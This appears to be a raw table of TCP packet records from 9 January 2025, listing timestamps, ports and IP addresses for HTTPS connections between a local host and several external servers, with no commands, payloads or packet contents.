Jan 9, 2025 13:19:28.517791033 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.546403885 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.546406031 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.546408892 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.549088001 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.549103975 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.549271107 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.549277067 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.549793959 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.549824953 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.549875975 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.555325031 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.562405109 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.562406063 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.562731981 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.576858044 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.578147888 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.578156948 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.579911947 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.580143929 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.580430984 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.580509901 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.580653906 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.580660105 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.618475914 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.619671106 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.619688034 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.620670080 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.620752096 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.621737003 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.621836901 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.621906996 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.625433922 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628480911 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628494978 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628556967 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628590107 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628604889 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628631115 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628657103 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628662109 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628710985 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.628757000 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628968954 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.628982067 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.632195950 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.632245064 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.632325888 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.633176088 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.633255959 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.633383036 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.633416891 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.633446932 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.633635998 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.633671999 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.640279055 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:28.640305996 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:28.640391111 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:28.640535116 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:28.640552998 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:28.663345098 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.673890114 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.673902988 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.709429979 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.709664106 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.709692001 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.713237047 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.713320017 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.713637114 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.713788033 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.713793993 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.713814020 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.719399929 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.760402918 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.760409117 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.814403057 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.845402002 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845431089 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845439911 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845463037 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845505953 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.845520973 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845537901 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.845582008 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.845674992 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.846364975 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.846374989 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.849286079 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.849374056 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.849467039 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.849745035 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.849781036 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.892385960 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.892407894 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.892970085 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.892982006 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.893107891 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.893167973 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.893249989 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.893258095 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.893306971 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.893306971 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.893681049 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.893774986 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.893861055 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.894150972 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.894190073 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.901936054 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.902071953 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.903354883 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.903376102 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.903434992 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.907638073 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.907699108 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.907785892 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.907805920 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.907845974 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.907912016 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.907964945 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.908974886 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909039021 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909060955 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909101009 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909121037 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909133911 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909182072 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909200907 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909255028 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909307957 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909516096 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909531116 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909630060 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909638882 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.909991026 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.909996033 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.910018921 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.910084009 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.914118052 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.914179087 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.914290905 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.914598942 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.914629936 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.916007996 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.916013002 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.916146040 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.916182995 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.918301105 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.918345928 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.918445110 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.918687105 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.918720007 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.920017004 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.920053005 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.920123100 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.920173883 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.920337915 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.920403957 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.920407057 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.920420885 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.921453953 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.921464920 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.921705961 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.921725988 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.921798944 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.922250986 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.922261000 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.929183006 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.929205894 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.929296970 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.929346085 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.929352999 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.974435091 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.983710051 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.983791113 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.983797073 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.983874083 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.984648943 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:28.984688997 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:28.984756947 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:29.019243002 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.019495964 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.019505024 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.019871950 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.020282030 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.020339966 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.020627022 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.032624960 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.032660961 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.032753944 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.032777071 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.055470943 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.055495024 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.055565119 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.055574894 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.060404062 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.060457945 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.060523033 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.060530901 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.060817957 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.060823917 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.060924053 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.060978889 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.061233997 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.061239004 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.063220024 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.063251019 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.063335896 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.063415051 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.063702106 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.063716888 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.091536045 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.091661930 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.091672897 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.091680050 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.091754913 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.115675926 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.115696907 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.115897894 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.115906954 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.140642881 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.140662909 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.140852928 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.140863895 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.146900892 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.147175074 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.147183895 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.147718906 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.148024082 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.148093939 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.148171902 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.182374954 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.183516979 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.183537960 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.183567047 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.183619976 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.183665037 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.183670044 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.195327044 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.207380056 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.207402945 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.207421064 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.207494974 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.207509041 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.207654953 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.222328901 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.222423077 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.222431898 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.222486973 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.229033947 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.229053020 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.229104996 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.253741980 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.253762960 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.253828049 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.253844023 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.253884077 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.267077923 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.267097950 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.267263889 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.267280102 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.271964073 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.272351027 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.272397995 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.272757053 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.273195982 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.273258924 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.273277998 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.282295942 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.282319069 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.282396078 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.282516003 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.282535076 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.282560110 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.282584906 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.282592058 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.282623053 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.282767057 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.282779932 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.297630072 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.297647953 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.297665119 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.297909021 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.297909021 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.297935963 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.310327053 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.310345888 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.310401917 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.310415030 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.310441017 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.319698095 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.319715977 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.319783926 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.319792986 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.319813967 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.322519064 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.322745085 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.322777033 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.322803020 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.322808027 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.322818041 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.323160887 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.323508978 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.323577881 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.323685884 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.326385975 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.329044104 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.329129934 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.329140902 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.341656923 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.341828108 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.341881037 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.341887951 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.341918945 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.351142883 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.351237059 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.351243019 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.351253033 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.351310968 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.362445116 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.362462044 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.362529993 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.362535954 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.362600088 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.371047020 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.371064901 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.371131897 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.371136904 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.371330023 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.383450031 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.383471012 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.383507967 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.383527040 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.383600950 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.383621931 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.384321928 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.384396076 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.384406090 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.384541988 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.384548903 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.391252995 CET	443	49844	93.158.134.119	192.168.2.16
